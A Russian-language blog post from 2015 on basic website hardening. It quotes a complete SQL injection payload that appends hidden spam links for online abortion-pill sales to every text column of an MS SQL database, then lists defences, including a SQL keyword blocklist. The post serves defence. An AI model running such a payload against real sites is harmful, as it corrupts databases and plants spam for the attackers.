Простые способы защиты сайта от взлома

Блог 13 марта 2015

Теги: криминал, интернет, SQL, ASP.Net, программирование,дистанционное образование

В настоящее время создать свой сайт или "уютный бложек" и нести благую весть "Urbi et orbi" можно, но недолго вы будете в покое. На просторах сети полно злоумышленников, мечтающих обрушить ваш сайт, проинфицировать его вирусами и рекламой или превратить в "зомби-бота".

Стала популярной загрузка скрытой рекламы с помощью sql injection в текстовые поля базы данных, используется как метод "черной" раскрутки сайтов. Например, при вызове страницы /about.aspx?page=gifts добавляется к url страницы код инъекции

;declare @c cursor;declare @d varchar(4000);set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7 when 0 then ''''+char(60)+''div style="display:none"''+char(62)+''abortion pill buy online ''+char(60)+''a href="http:''+char(47)+char(47)+REPLACE(case ABS(CHECKSUM(NewId()))%3 when 0 then ''blog.infotek-software.co.uk@template'' when 1 then ''longrangesystems.net@blog@template'' else ''www.hartlandavenueschool.com@template'' end,''@'',char(47))+''"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''redirect'' when 1 then ''ordering abortion pills to be shipped to house'' else ''abortion pill'' end +char(60)+char(47)+''a''+char(62)+'' abortion pill online purchase''+char(60)+char(47)+''div''+char(62)+'''' else '''' end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c

Перечислю ряд простых, но эффетивных защитных мер.
1. Противодействие sql injection. Хорошо работает использование параметров при выполнении sql команд. Однако если код старый или вы поленились использовать параметры, то возможны уязвимости. Можно решительно их отсечь, проверяя в данных, поступающих на сайт, наличие ключевых слов и игнорируя запросы, имеющиее более одного ключевого слова.
string[] sql_inj = { "select", "from", "insert", "values", "update", "set", "delete", "drop", "table", "where", "create", "truncate", "database", "alter", "win.ini" };
2. Шифрование паролей и строк соединения. Даже если удалось прочитать из базы данных, восспользоваться ей затруднительно.
3. Запретить выполнение скриптов в папках, куда происходит загрузка контента через веб-формы.
4. Ведение "черных списков" ip-адресов. Доступ на сайт с них запрещен.
5. Административные функции разрешать только с ip-адресов из "белого списка".
6. Регулярный (желательно автоматизированный) просмотр логов сайта и измененных файлов на предмет возможного вторжения.

Комментарии

Комментариев еще нет.
Добавить комментарий могут только авторизованные пользователи. Авторизоваться
Комментарий

Оценка





Авторизоваться через http://www.pvobr.ru
Логин
Пароль
Регистрация

Авторизоваться через соцсети
Наверх